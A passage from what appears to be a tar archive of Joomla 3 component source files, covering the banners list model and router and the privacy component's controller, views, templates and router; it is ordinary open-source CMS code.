				. 'a.state AS state,'
				. 'a.ordering AS ordering,'
				. 'a.purchase_type AS purchase_type,'
				. 'a.language,'
				. 'a.publish_up,'
				. 'a.publish_down'
			)
		);
		$query->from($db->quoteName('#__banners', 'a'));

		// Join over the language
		$query->select('l.title AS language_title, l.image AS language_image')
			->join('LEFT', $db->quoteName('#__languages', 'l') . ' ON l.lang_code = a.language');

		// Join over the users for the checked out user.
		$query->select($db->quoteName('uc.name', 'editor'))
			->join('LEFT', $db->quoteName('#__users', 'uc') . ' ON uc.id = a.checked_out');

		// Join over the categories.
		$query->select($db->quoteName('c.title', 'category_title'))
			->join('LEFT', $db->quoteName('#__categories', 'c') . ' ON c.id = a.catid');

		// Join over the clients.
		$query->select($db->quoteName('cl.name', 'client_name'))
			->select($db->quoteName('cl.purchase_type', 'client_purchase_type'))
			->join('LEFT', $db->quoteName('#__banner_clients', 'cl') . ' ON cl.id = a.cid');

		// Filter by published state
		$published = $this->getState('filter.published');

		if (is_numeric($published))
		{
			$query->where($db->quoteName('a.state') . ' = ' . (int) $published);
		}
		elseif ($published === '')
		{
			$query->where($db->quoteName('a.state') . ' IN (0, 1)');
		}

		// Filter by category.
		$categoryId = $this->getState('filter.category_id');

		if (is_numeric($categoryId))
		{
			$query->where($db->quoteName('a.catid') . ' = ' . (int) $categoryId);
		}

		// Filter by client.
		$clientId = $this->getState('filter.client_id');

		if (is_numeric($clientId))
		{
			$query->where($db->quoteName('a.cid') . ' = ' . (int) $clientId);
		}

		// Filter by search in title
		$search = $this->getState('filter.search');

		if (!empty($search))
		{
			if (stripos($search, 'id:') === 0)
			{
				$query->where($db->quoteName('a.id') . ' = ' . (int) substr($search, 3));
			}
			else
			{
				$search = $db->quote('%' . str_replace(' ', '%', $db->escape(trim($search), true) . '%'));
				$query->where('(a.name LIKE ' . $search . ' OR a.alias LIKE ' . $search . ')');
			}
		}

		// Filter on the language.
		if ($language = $this->getState('filter.language'))
		{
			$query->where($db->quoteName('a.language') . ' = ' . $db->quote($language));
		}

		// Filter on the level.
		if ($level = $this->getState('filter.level'))
		{
			$query->where($db->quoteName('c.level') . ' <= ' . (int) $level);
		}

		// Add the list ordering clause.
		$orderCol  = $this->state->get('list.ordering', 'a.name');
		$orderDirn = $this->state->get('list.direction', 'ASC');

		if ($orderCol == 'a.ordering' || $orderCol == 'category_title')
		{
			$orderCol = 'c.title ' . $orderDirn . ', a.ordering';
		}

		if ($orderCol == 'client_name')
		{
			$orderCol = 'cl.name';
		}

		$query->order($db->escape($orderCol . ' ' . $orderDirn));

		return $query;
	}

	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param   string  $id  A prefix for the store id.
	 *
	 * @return  string  A store id.
	 *
	 * @since   1.6
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('filter.search');
		$id .= ':' . $this->getState('filter.published');
		$id .= ':' . $this->getState('filter.category_id');
		$id .= ':' . $this->getState('filter.client_id');
		$id .= ':' . $this->getState('filter.language');
		$id .= ':' . $this->getState('filter.level');

		return parent::getStoreId($id);
	}

	/**
	 * Returns a reference to the a Table object, always creating it.
	 *
	 * @param   string  $type    The table type to instantiate
	 * @param   string  $prefix  A prefix for the table class name. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JTable  A JTable object
	 *
	 * @since   1.6
	 */
	public function getTable($type = 'Banner', $prefix = 'BannersTable', $config = array())
	{
		return JTable::getInstance($type, $prefix, $config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState($ordering = 'a.name', $direction = 'asc')
	{
		// Load the filter state.
		$this->setState('filter.search', $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search', '', 'string'));
		$this->setState('filter.published', $this->getUserStateFromRequest($this->context . '.filter.published', 'filter_published', '', 'string'));
		$this->setState('filter.category_id', $this->getUserStateFromRequest($this->context . '.filter.category_id', 'filter_category_id', '', 'cmd'));
		$this->setState('filter.client_id', $this->getUserStateFromRequest($this->context . '.filter.client_id', 'filter_client_id', '', 'cmd'));
		$this->setState('filter.language', $this->getUserStateFromRequest($this->context . '.filter.language', 'filter_language', '', 'string'));
		$this->setState('filter.level', $this->getUserStateFromRequest($this->context . '.filter.level', 'filter_level', '', 'cmd'));

		// Load the parameters.
		$this->setState('params', JComponentHelper::getParams('com_banners'));

		// List state information.
		parent::populateState($ordering, $direction);
	}
}
com_banners/router.php000060400000005232152453734450011075 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_banners
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Routing class from com_banners
 *
 * @since  3.3
 */
class BannersRouter extends JComponentRouterBase
{
	/**
	 * Build the route for the com_banners component
	 *
	 * @param   array  &$query  An array of URL arguments
	 *
	 * @return  array  The URL arguments to use to assemble the subsequent URL.
	 *
	 * @since   3.3
	 */
	public function build(&$query)
	{
		$segments = array();

		if (isset($query['task']))
		{
			$segments[] = $query['task'];
			unset($query['task']);
		}

		if (isset($query['id']))
		{
			$segments[] = $query['id'];
			unset($query['id']);
		}

		$total = count($segments);

		for ($i = 0; $i < $total; $i++)
		{
			$segments[$i] = str_replace(':', '-', $segments[$i]);
		}

		return $segments;
	}

	/**
	 * Parse the segments of a URL.
	 *
	 * @param   array  &$segments  The segments of the URL to parse.
	 *
	 * @return  array  The URL attributes to be used by the application.
	 *
	 * @since   3.3
	 */
	public function parse(&$segments)
	{
		$total = count($segments);
		$vars = array();

		for ($i = 0; $i < $total; $i++)
		{
			$segments[$i] = preg_replace('/-/', ':', $segments[$i], 1);
		}

		// View is always the first element of the array
		$count = count($segments);

		if ($count)
		{
			$count--;
			$segment = array_shift($segments);

			if (is_numeric($segment))
			{
				$vars['id'] = $segment;
			}
			else
			{
				$vars['task'] = $segment;
			}
		}

		if ($count)
		{
			$segment = array_shift($segments);

			if (is_numeric($segment))
			{
				$vars['id'] = $segment;
			}
		}

		return $vars;
	}
}

/**
 * Build the route for the com_banners component
 *
 * This function is a proxy for the new router interface
 * for old SEF extensions.
 *
 * @param   array  &$query  An array of URL arguments
 *
 * @return  array  The URL arguments to use to assemble the subsequent URL.
 *
 * @since   3.3
 * @deprecated  4.0  Use Class based routers instead
 */
function bannersBuildRoute(&$query)
{
	$router = new BannersRouter;

	return $router->build($query);
}

/**
 * Parse the segments of a URL.
 *
 * This function is a proxy for the new router interface
 * for old SEF extensions.
 *
 * @param   array  $segments  The segments of the URL to parse.
 *
 * @return  array  The URL attributes to be used by the application.
 *
 * @since   3.3
 * @deprecated  4.0  Use Class based routers instead
 */
function bannersParseRoute($segments)
{
	$router = new BannersRouter;

	return $router->parse($segments);
}
com_privacy/controller.php000060400000007453152453734450011774 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Response\JsonResponse;
use Joomla\CMS\Session\Session;

/**
 * Privacy Controller
 *
 * @since  3.9.0
 */
class PrivacyController extends JControllerLegacy
{
	/**
	 * The default view.
	 *
	 * @var    string
	 * @since  3.9.0
	 */
	protected $default_view = 'dashboard';

	/**
	 * Method to display a view.
	 *
	 * @param   boolean  $cachable   If true, the view output will be cached
	 * @param   array    $urlparams  An array of safe URL parameters and their variable types, for valid values see {@link JFilterInput::clean()}.
	 *
	 * @return  $this
	 *
	 * @since   3.9.0
	 */
	public function display($cachable = false, $urlparams = array())
	{
		JLoader::register('PrivacyHelper', JPATH_ADMINISTRATOR . '/components/com_privacy/helpers/privacy.php');

		// Get the document object.
		$document = JFactory::getDocument();

		// Set the default view name and format from the Request.
		$vName   = $this->input->get('view', $this->default_view);
		$vFormat = $document->getType();
		$lName   = $this->input->get('layout', 'default', 'string');

		// Get and render the view.
		if ($view = $this->getView($vName, $vFormat))
		{
			$model = $this->getModel($vName);
			$view->setModel($model, true);

			// For the dashboard view, we need to also push the requests model into the view
			if ($vName === 'dashboard')
			{
				$requestsModel = $this->getModel('Requests');

				$view->setModel($requestsModel, false);
			}

			if ($vName === 'request')
			{
				// For the default layout, we need to also push the action logs model into the view
				if ($lName === 'default')
				{
					JLoader::register('ActionlogsHelper', JPATH_ADMINISTRATOR . '/components/com_actionlogs/helpers/actionlogs.php');
					JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_actionlogs/models', 'ActionlogsModel');

					$logsModel = $this->getModel('Actionlogs', 'ActionlogsModel');

					// Set default ordering for the context
					$logsModel->setState('list.fullordering', 'a.log_date DESC');

					// And push the model into the view
					$view->setModel($logsModel, false);
				}

				// For the edit layout, if mail sending is disabled then redirect back to the list view as the form is unusable in this state
				if ($lName === 'edit' && !JFactory::getConfig()->get('mailonline', 1))
				{
					$this->setRedirect(
						JRoute::_('index.php?option=com_privacy&view=requests', false),
						JText::_('COM_PRIVACY_WARNING_CANNOT_CREATE_REQUEST_WHEN_SENDMAIL_DISABLED'),
						'warning'
					);

					return $this;
				}
			}

			$view->setLayout($lName);

			// Push document object into the view.
			$view->document = $document;

			// Load the submenu.
			PrivacyHelper::addSubmenu($this->input->get('view', $this->default_view));

			$view->display();
		}

		return $this;
	}

	/**
	 * Fetch and report number urgent privacy requests in JSON format, for AJAX requests
	 *
	 * @return void
	 *
	 * @since 3.9.0
	 */
	public function getNumberUrgentRequests()
	{
		$app = Factory::getApplication();

		// Check for a valid token. If invalid, send a 403 with the error message.
		if (!Session::checkToken('get'))
		{
			$app->setHeader('status', 403, true);
			$app->sendHeaders();
			echo new JsonResponse(new \Exception(Text::_('JINVALID_TOKEN'), 403));
			$app->close();
		}

		/** @var PrivacyModelRequests $model */
		$model                = $this->getModel('requests');
		$numberUrgentRequests = $model->getNumberUrgentRequests();

		echo new JResponseJson(array('number_urgent_requests' => $numberUrgentRequests));

		$app->close();
	}
}
com_privacy/views/confirm/tmpl/default.php000060400000002466152453734450015002 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/** @var PrivacyViewConfirm $this */

JHtml::_('behavior.keepalive');
JHtml::_('behavior.formvalidator');

?>
<div class="request-confirm<?php echo $this->pageclass_sfx; ?>">
	<?php if ($this->params->get('show_page_heading')) : ?>
		<div class="page-header">
			<h1>
				<?php echo $this->escape($this->params->get('page_heading')); ?>
			</h1>
		</div>
	<?php endif; ?>
	<form action="<?php echo JRoute::_('index.php?option=com_privacy&task=request.confirm'); ?>" method="post" class="form-validate form-horizontal well">
		<?php foreach ($this->form->getFieldsets() as $fieldset) : ?>
			<fieldset>
				<?php if (!empty($fieldset->label)) : ?>
					<legend><?php echo JText::_($fieldset->label); ?></legend>
				<?php endif; ?>
				<?php echo $this->form->renderFieldset($fieldset->name); ?>
			</fieldset>
		<?php endforeach; ?>
		<div class="control-group">
			<div class="controls">
				<button type="submit" class="btn btn-primary validate">
					<?php echo JText::_('JSUBMIT'); ?>
				</button>
			</div>
		</div>
		<?php echo JHtml::_('form.token'); ?>
	</form>
</div>
com_privacy/views/confirm/tmpl/default.xml000060400000000505152453734450015003 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_PRIVACY_CONFIRM_VIEW_DEFAULT_TITLE" option="COM_PRIVACY_CONFIRM_VIEW_DEFAULT_OPTION">
		<help
			key="JHELP_MENUS_MENU_ITEM_PRIVACY_CONFIRM_REQUEST"
		/>
		<message>
			<![CDATA[COM_PRIVACY_CONFIRM_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
com_privacy/views/confirm/view.html.php000060400000005765152453734450014324 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

/**
 * Request confirmation view class
 *
 * @since  3.9.0
 */
class PrivacyViewConfirm extends JViewLegacy
{
	/**
	 * The form object
	 *
	 * @var    JForm
	 * @since  3.9.0
	 */
	protected $form;

	/**
	 * The CSS class suffix to append to the view container
	 *
	 * @var    string
	 * @since  3.9.0
	 */
	protected $pageclass_sfx;

	/**
	 * The view parameters
	 *
	 * @var    Registry
	 * @since  3.9.0
	 */
	protected $params;

	/**
	 * The state information
	 *
	 * @var    JObject
	 * @since  3.9.0
	 */
	protected $state;

	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @see     JViewLegacy::loadTemplate()
	 * @since   3.9.0
	 * @throws  Exception
	 */
	public function display($tpl = null)
	{
		// Initialise variables.
		$this->form   = $this->get('Form');
		$this->state  = $this->get('State');
		$this->params = $this->state->params;

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Escape strings for HTML output
		$this->pageclass_sfx = htmlspecialchars($this->params->get('pageclass_sfx', ''), ENT_COMPAT, 'UTF-8');

		$this->prepareDocument();

		return parent::display($tpl);
	}

	/**
	 * Prepares the document.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	protected function prepareDocument()
	{
		$app   = JFactory::getApplication();
		$menus = $app->getMenu();
		$title = null;

		// Because the application sets a default page title,
		// we need to get it from the menu item itself
		$menu = $menus->getActive();

		if ($menu)
		{
			$this->params->def('page_heading', $this->params->get('page_title', $menu->title));
		}
		else
		{
			$this->params->def('page_heading', JText::_('COM_PRIVACY_VIEW_CONFIRM_PAGE_TITLE'));
		}

		$title = $this->params->get('page_title', '');

		if (empty($title))
		{
			$title = $app->get('sitename');
		}
		elseif ($app->get('sitename_pagetitles', 0) == 1)
		{
			$title = JText::sprintf('JPAGETITLE', $app->get('sitename'), $title);
		}
		elseif ($app->get('sitename_pagetitles', 0) == 2)
		{
			$title = JText::sprintf('JPAGETITLE', $title, $app->get('sitename'));
		}

		$this->document->setTitle($title);

		if ($this->params->get('menu-meta_description'))
		{
			$this->document->setDescription($this->params->get('menu-meta_description'));
		}

		if ($this->params->get('menu-meta_keywords'))
		{
			$this->document->setMetadata('keywords', $this->params->get('menu-meta_keywords'));
		}

		if ($this->params->get('robots'))
		{
			$this->document->setMetadata('robots', $this->params->get('robots'));
		}
	}
}
com_privacy/views/request/tmpl/default.xml000060400000000504152453734450015035 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_PRIVACY_REQUEST_VIEW_DEFAULT_TITLE" option="COM_PRIVACY_REQUEST_VIEW_DEFAULT_OPTION">
		<help
			key="JHELP_MENUS_MENU_ITEM_PRIVACY_CREATE_REQUEST"
		/>
		<message>
			<![CDATA[COM_PRIVACY_REQUEST_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
com_privacy/views/request/tmpl/default.php000060400000005554152453734450015036 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/** @var PrivacyViewRequest $this */

// Include the component HTML helpers.
JHtml::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_privacy/helpers/html');

JHtml::_('behavior.formvalidator');
JHtml::_('behavior.keepalive');

$js = <<< JS
Joomla.submitbutton = function(task) {
	if (task === 'request.cancel' || document.formvalidator.isValid(document.getElementById('item-form'))) {
		Joomla.submitform(task, document.getElementById('item-form'));
	}
};
JS;

JFactory::getDocument()->addScriptDeclaration($js);
?>

<form action="<?php echo JRoute::_('index.php?option=com_privacy&view=request&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="item-form" class="form-validate">
	<div class="row-fluid">
		<div class="span4">
			<h3><?php echo JText::_('COM_PRIVACY_HEADING_REQUEST_INFORMATION'); ?></h3>
			<dl class="dl-horizontal">
				<dt><?php echo JText::_('JGLOBAL_EMAIL'); ?>:</dt>
				<dd><?php echo $this->item->email; ?></dd>

				<dt><?php echo JText::_('JSTATUS'); ?>:</dt>
				<dd><?php echo JHtml::_('PrivacyHtml.helper.statusLabel', $this->item->status); ?></dd>

				<dt><?php echo JText::_('COM_PRIVACY_FIELD_REQUEST_TYPE_LABEL'); ?>:</dt>
				<dd><?php echo JText::_('COM_PRIVACY_HEADING_REQUEST_TYPE_TYPE_' . $this->item->request_type); ?></dd>

				<dt><?php echo JText::_('COM_PRIVACY_FIELD_REQUESTED_AT_LABEL'); ?>:</dt>
				<dd><?php echo JHtml::_('date', $this->item->requested_at, JText::_('DATE_FORMAT_LC6')); ?></dd>
			</dl>
		</div>
		<div class="span8">
			<h3><?php echo JText::_('COM_PRIVACY_HEADING_ACTION_LOG'); ?></h3>
			<?php if (empty($this->actionlogs)) : ?>
				<div class="alert alert-no-items">
					<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
				</div>
			<?php else : ?>
				<table class="table table-striped table-hover">
					<thead>
						<th>
							<?php echo JText::_('COM_ACTIONLOGS_ACTION'); ?>
						</th>
						<th>
							<?php echo JText::_('COM_ACTIONLOGS_DATE'); ?>
						</th>
						<th>
							<?php echo JText::_('COM_ACTIONLOGS_NAME'); ?>
						</th>
					</thead>
					<tbody>
						<?php foreach ($this->actionlogs as $i => $item) : ?>
							<tr class="row<?php echo $i % 2; ?>">
								<td>
									<?php echo ActionlogsHelper::getHumanReadableLogMessage($item); ?>
								</td>
								<td>
									<?php echo JHtml::_('date', $item->log_date, JText::_('DATE_FORMAT_LC6')); ?>
								</td>
								<td>
									<?php echo $item->name; ?>
								</td>
							</tr>
						<?php endforeach; ?>
					</tbody>
				</table>
			<?php endif;?>
		</div>
	</div>

	<input type="hidden" name="task" value="" />
	<?php echo JHtml::_('form.token'); ?>
</form>
com_privacy/views/request/view.html.php000060400000010534152453734450014345 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Request view class
 *
 * @since  3.9.0
 */
class PrivacyViewRequest extends JViewLegacy
{
	/**
	 * The action logs for the item
	 *
	 * @var    array
	 * @since  3.9.0
	 */
	protected $actionlogs;

	/**
	 * The form object
	 *
	 * @var    JForm
	 * @since  3.9.0
	 */
	protected $form;

	/**
	 * The item record
	 *
	 * @var    JObject
	 * @since  3.9.0
	 */
	protected $item;

	/**
	 * The state information
	 *
	 * @var    JObject
	 * @since  3.9.0
	 */
	protected $state;

	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @see     JViewLegacy::loadTemplate()
	 * @since   3.9.0
	 * @throws  Exception
	 */
	public function display($tpl = null)
	{
		// Initialise variables.
		$this->item  = $this->get('Item');
		$this->state = $this->get('State');

		// Variables only required for the default layout
		if ($this->getLayout() === 'default')
		{
			/** @var ActionlogsModelActionlogs $logsModel */
			$logsModel = $this->getModel('actionlogs');

			$this->actionlogs = $logsModel->getLogsForItem('com_privacy.request', $this->item->id);

			// Load the com_actionlogs language strings for use in the layout
			$lang = JFactory::getLanguage();
			$lang->load('com_actionlogs', JPATH_ADMINISTRATOR, null, false, true)
				|| $lang->load('com_actionlogs', JPATH_ADMINISTRATOR . '/components/com_actionlogs', null, false, true);
		}

		// Variables only required for the edit layout
		if ($this->getLayout() === 'edit')
		{
			$this->form = $this->get('Form');
		}

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		$this->addToolbar();

		return parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	protected function addToolbar()
	{
		JFactory::getApplication('administrator')->set('hidemainmenu', true);

		// Set the title and toolbar based on the layout
		if ($this->getLayout() === 'edit')
		{
			JToolbarHelper::title(JText::_('COM_PRIVACY_VIEW_REQUEST_ADD_REQUEST'), 'lock');

			JToolbarHelper::apply('request.save');
			JToolbarHelper::cancel('request.cancel');
			JToolbarHelper::help('JHELP_COMPONENTS_PRIVACY_REQUEST_EDIT');
		}
		else
		{
			JToolbarHelper::title(JText::_('COM_PRIVACY_VIEW_REQUEST_SHOW_REQUEST'), 'lock');

			$bar = JToolbar::getInstance('toolbar');

			// Add transition and action buttons based on item status
			switch ($this->item->status)
			{
				case '0':
					$bar->appendButton('Standard', 'cancel-circle', 'COM_PRIVACY_TOOLBAR_INVALIDATE', 'request.invalidate', false);

					break;

				case '1':
					$return = '&return=' . base64_encode('index.php?option=com_privacy&view=request&id=' . (int) $this->item->id);

					$bar->appendButton('Standard', 'apply', 'COM_PRIVACY_TOOLBAR_COMPLETE', 'request.complete', false);
					$bar->appendButton('Standard', 'cancel-circle', 'COM_PRIVACY_TOOLBAR_INVALIDATE', 'request.invalidate', false);

					if ($this->item->request_type === 'export')
					{
						JToolbarHelper::link(
							JRoute::_('index.php?option=com_privacy&task=request.export&format=xml&id=' . (int) $this->item->id . $return),
							'COM_PRIVACY_ACTION_EXPORT_DATA',
							'download'
						);

						if (JFactory::getConfig()->get('mailonline', 1))
						{
							JToolbarHelper::link(
								JRoute::_(
									'index.php?option=com_privacy&task=request.emailexport&id=' . (int) $this->item->id . $return
									. '&' . JSession::getFormToken() . '=1'
								),
								'COM_PRIVACY_ACTION_EMAIL_EXPORT_DATA',
								'mail'
							);
						}
					}

					if ($this->item->request_type === 'remove')
					{
						$bar->appendButton('Standard', 'delete', 'COM_PRIVACY_ACTION_DELETE_DATA', 'request.remove', false);
					}

					break;

				// Item is in a "locked" state and cannot transition
				default:
					break;
			}

			JToolbarHelper::cancel('request.cancel', 'JTOOLBAR_CLOSE');
			JToolbarHelper::help('JHELP_COMPONENTS_PRIVACY_REQUEST');
		}
	}
}
com_privacy/views/remind/tmpl/default.xml000060400000000501152453734450014620 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_PRIVACY_REMIND_VIEW_DEFAULT_TITLE" option="COM_PRIVACY_REMIND_VIEW_DEFAULT_OPTION">
		<help
			key="JHELP_MENUS_MENU_ITEM_PRIVACY_REMIND_REQUEST"
		/>
		<message>
			<![CDATA[COM_PRIVACY_REMIND_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
com_privacy/views/remind/tmpl/default.php000060400000002464152453734450014621 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/** @var PrivacyViewConfirm $this */

JHtml::_('behavior.keepalive');
JHtml::_('behavior.formvalidator');

?>
<div class="remind-confirm<?php echo $this->pageclass_sfx; ?>">
	<?php if ($this->params->get('show_page_heading')) : ?>
		<div class="page-header">
			<h1>
				<?php echo $this->escape($this->params->get('page_heading')); ?>
			</h1>
		</div>
	<?php endif; ?>
	<form action="<?php echo JRoute::_('index.php?option=com_privacy&task=request.remind'); ?>" method="post" class="form-validate form-horizontal well">
		<?php foreach ($this->form->getFieldsets() as $fieldset) : ?>
			<fieldset>
				<?php if (!empty($fieldset->label)) : ?>
					<legend><?php echo JText::_($fieldset->label); ?></legend>
				<?php endif; ?>
				<?php echo $this->form->renderFieldset($fieldset->name); ?>
			</fieldset>
		<?php endforeach; ?>
		<div class="control-group">
			<div class="controls">
				<button type="submit" class="btn btn-primary validate">
					<?php echo JText::_('JSUBMIT'); ?>
				</button>
			</div>
		</div>
		<?php echo JHtml::_('form.token'); ?>
	</form>
</div>
com_privacy/views/remind/view.html.php000060400000005762152453734450014142 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

/**
 * Remind confirmation view class
 *
 * @since  3.9.0
 */
class PrivacyViewRemind extends JViewLegacy
{
	/**
	 * The form object
	 *
	 * @var    JForm
	 * @since  3.9.0
	 */
	protected $form;

	/**
	 * The CSS class suffix to append to the view container
	 *
	 * @var    string
	 * @since  3.9.0
	 */
	protected $pageclass_sfx;

	/**
	 * The view parameters
	 *
	 * @var    Registry
	 * @since  3.9.0
	 */
	protected $params;

	/**
	 * The state information
	 *
	 * @var    JObject
	 * @since  3.9.0
	 */
	protected $state;

	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @see     JViewLegacy::loadTemplate()
	 * @since   3.9.0
	 * @throws  Exception
	 */
	public function display($tpl = null)
	{
		// Initialise variables.
		$this->form   = $this->get('Form');
		$this->state  = $this->get('State');
		$this->params = $this->state->params;

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Escape strings for HTML output
		$this->pageclass_sfx = htmlspecialchars($this->params->get('pageclass_sfx', ''), ENT_COMPAT, 'UTF-8');

		$this->prepareDocument();

		return parent::display($tpl);
	}

	/**
	 * Prepares the document.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	protected function prepareDocument()
	{
		$app   = JFactory::getApplication();
		$menus = $app->getMenu();
		$title = null;

		// Because the application sets a default page title,
		// we need to get it from the menu item itself
		$menu = $menus->getActive();

		if ($menu)
		{
			$this->params->def('page_heading', $this->params->get('page_title', $menu->title));
		}
		else
		{
			$this->params->def('page_heading', JText::_('COM_PRIVACY_VIEW_REMIND_PAGE_TITLE'));
		}

		$title = $this->params->get('page_title', '');

		if (empty($title))
		{
			$title = $app->get('sitename');
		}
		elseif ($app->get('sitename_pagetitles', 0) == 1)
		{
			$title = JText::sprintf('JPAGETITLE', $app->get('sitename'), $title);
		}
		elseif ($app->get('sitename_pagetitles', 0) == 2)
		{
			$title = JText::sprintf('JPAGETITLE', $title, $app->get('sitename'));
		}

		$this->document->setTitle($title);

		if ($this->params->get('menu-meta_description'))
		{
			$this->document->setDescription($this->params->get('menu-meta_description'));
		}

		if ($this->params->get('menu-meta_keywords'))
		{
			$this->document->setMetadata('keywords', $this->params->get('menu-meta_keywords'));
		}

		if ($this->params->get('robots'))
		{
			$this->document->setMetadata('robots', $this->params->get('robots'));
		}
	}
}
com_privacy/router.php000060400000003610152453734450011120 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Routing class from com_privacy
 *
 * @since  3.9.0
 */
class PrivacyRouter extends JComponentRouterView
{
	/**
	 * Privacy Component router constructor
	 *
	 * @param   JApplicationCms  $app   The application object
	 * @param   JMenu            $menu  The menu object to work with
	 *
	 * @since   3.9.0
	 */
	public function __construct($app = null, $menu = null)
	{
		$this->registerView(new JComponentRouterViewconfiguration('confirm'));
		$this->registerView(new JComponentRouterViewconfiguration('request'));
		$this->registerView(new JComponentRouterViewconfiguration('remind'));

		parent::__construct($app, $menu);

		$this->attachRule(new JComponentRouterRulesMenu($this));
		$this->attachRule(new JComponentRouterRulesStandard($this));
		$this->attachRule(new JComponentRouterRulesNomenu($this));
	}
}

/**
 * Privacy router functions
 *
 * These functions are proxies for the new router interface
 * for old SEF extensions.
 *
 * @param   array  &$query  REQUEST query
 *
 * @return  array  Segments of the SEF url
 *
 * @since   3.9.0
 * @deprecated  4.0  Use Class based routers instead
 */
function privacyBuildRoute(&$query)
{
	$app = JFactory::getApplication();
	$router = new PrivacyRouter($app, $app->getMenu());

	return $router->build($query);
}

/**
 * Convert SEF URL segments into query variables
 *
 * @param   array  $segments  Segments in the current URL
 *
 * @return  array  Query variables
 *
 * @since   3.9.0
 * @deprecated  4.0  Use Class based routers instead
 */
function privacyParseRoute($segments)
{
	$app = JFactory::getApplication();
	$router = new PrivacyRouter($app, $app->getMenu());

	return $router->parse($segments);
}
com_privacy/controllers/request.php000060400000023106152453734450013640 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Request management controller class.
 *
 * @since  3.9.0
 */
class PrivacyControllerRequest extends JControllerForm
{
	/**
	 * Method to complete a request.
	 *
	 * @param   string  $key     The name of the primary key of the URL variable.
	 * @param   string  $urlVar  The name of the URL variable if different from the primary key (sometimes required to avoid router collisions).
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	public function complete($key = null, $urlVar = null)
	{
